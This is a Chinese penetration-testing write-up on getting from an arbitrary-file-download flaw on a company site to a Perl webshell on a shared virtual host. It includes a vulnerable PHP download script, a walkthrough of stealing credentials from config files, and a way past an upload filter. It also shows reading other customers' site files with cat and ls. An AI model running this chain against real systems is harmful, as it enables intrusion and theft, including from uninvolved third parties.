某集團任意文件下載到虛擬主機getshell的方法
0x01 前言
從某群的故事改編而來,都是些老套路各位看官看得高興就好;第一次在i春秋發(fā)帖有點緊張,如果有什么不周到的地方請去打死阿甫哥哥。你沒聽錯,阿甫哥哥推薦。
0x02 什么是任意文件下載
說到文件下載各位童鞋都不陌生(老司機請?zhí)^),我們要下載網站上某個文件(.zip、.doc、.pdf)直接請求這個文件即可格式一般為:域名+相對路徑+文件名,如http://www.test.com/downlad/test.zip。而在網站上下載文件一般分為兩種,一種就是剛才所說的直接請求某個文件,還有一種就是網站運營者提供了一個下載腳我們只需要請求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。
眾所周知,我們請求一個網站上的腳本文件(這里以php為例)是不會被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說到的第二種情況了,網站運營者提供了http://www.test.com/download.php?filename=test.zip這樣一個連接本意是想訪問者下載test.zip文件,但是沒有做好安全措施導致任意文件下載。 舉個栗子:
測試環(huán)境(phpstudy):windows7+php-5.5.38+apache
一個任意文件下載腳本test.php,代碼如下:
<?phpif(empty($_GET['filename'])) { echo 'i春秋任意文件下載測試~'."<br>請輸入需要下載的文件名"; } else { $filename = $_GET['filename']; $fileinfo = pathinfo($filename); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo[' name']); header('Content-Length: '.filesize($filename)); readfile($filename); exit(); } ?>
直接訪問該文件,文件并沒有被下載而是解析了其中的代碼
在網站根目錄下新建一個文件夾inc并新建一個名為ichunqiu.php的文件
現在來嘗試下載該文件,訪問:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件
0x03 某集團任意文件下載
之前挖某集團的漏洞時發(fā)現一個任意文件下載,兩個思路:①下載源碼審計-發(fā)現漏洞-利用;②下載數據庫文件-如果支持外聯-登錄后臺-嘗試getshell,這里我選擇了第二種。
首先下載了index.php文件,代碼如下:
<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); @header("Content-type: text/html; charset=utf-8"); InitGP(array("action","do","gid","id")); $smarty->assign("pagetag","about"); $smarty->assign("page ","index"); $lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn'; $sql="select * from $table_article where channel='1' and cat_id in(38,39) order by show_style desc,art_addtime desc limit 6 "; if($array=$DB->GetAll($sql)){ //print_r($row); $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_ =""; $seo_keywords =""; $seo_de ion =""; seo_print();//print_r($_COOKIE); $smarty->assign("action",$action); $tpl="cn/index.html"; $smarty->display($tpl);//print_r($GLOBALS); ?>
第3行包含了/include/global.php文件,繼續(xù)下載global.php文件在第31-32行代碼發(fā)現包含了數據庫連接文件,如下:
<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>
在config.php中找到數據庫連接信息:
<?php// data type$db_type = "mysqli"; // data host$db_host = "xx.xx.xx.com"; // data name$db_name = "dxxxm"; // data username$db_user = "dxxxm"; // data password$db_pass = 'cxxxp1xxx6'; $dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>
站庫分離,百度site:xx.com“廈xxx有限公司”
再訪問下http://www.xxx.com/這個域名,通過掃描微信后基本確認“xx集團”主站的數據庫是放在“xxx有限公司”的服務器上
繼續(xù),用navacat連接找到后臺用戶帳號密碼:
用戶名 密文 解密明文
axxxn 5xxx0
gxxxn 2xxxc 1xxxv
0x04 虛擬主機getshell
接著用gxxxn/1xxxv成功登錄某集團官網后臺:http://www.xxx.com/manage.php
在已發(fā)布文章里找了一處可以上傳圖片的,簡單測試了下phtml、php、php%20、php%00之類的后綴均不能繞過,只好只好下載相關文件看代碼。
<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype) { global $config; if($_FILES[$uploadname]["name"]) { $dir_file=$uploaddir; if(!file_exists($dir_file)){ mkdir($dir_file , 0777); chmod($dir_file,0777); } $filename=explode(".",$_FILES[$uploadname]['name']); do{ $filename[0] = date('YmdHis').$uploadtype; $uploadfile = $dir_file.implode(".",$filename); } while(file_exists($uploadfile)); if(strpos($uploadfile,"php")>0) { return 'no php'; } copy($_FILES[$uploadname]['tmp_name'], $uploadfile); } return str_replace($config['siteRoot'], "", $uploadfile); } ...?>
strpos($uploadfile,"php")
只過濾了php文件,陷入困境又去官網翻了翻突然注意到一處404仔細一看” 2.0.9 Perl”還支持perl腳本?于是在后臺找了一處上傳圖片的地方直接上傳perl腳本,結果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢了~
查看日志文件發(fā)現大量網站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts
100+的網站,無意間getshell某公司的虛擬主機
任意讀取一網站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php
雖然當前權限不能修改和寫入,但是可跨目錄讀文件而這些網站的數據庫又支持外聯,你懂的;
本想試試臟牛提權,但怕給打死了就草草提交了
0x05 總結
① 精簡下整個過程:任意文件下載-連接數據獲得帳號密碼-后臺上傳;
② 代碼這塊有點php基礎都能看懂,學個十天半個月就成;
③ 細心吧,看到錯誤信息才想到支持perl腳本,不過一般也只有l(wèi)inux才會有;
以上所述是小編給大家介紹的某集團任意文件下載到虛擬主機getshell的方法,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網站的支持!
相關文章
Rainbond云原生部署開源社區(qū)Discourse的配置過程
這篇文章主要為大家介紹了Rainbond云原生部署開源社區(qū)Discourse配置過程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-04-04Rainbond云原生部署SpringCloud應用架構實踐
這篇文章主要為大家介紹了Rainbond云原生部署SpringCloud應用架構實踐,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2022-04-04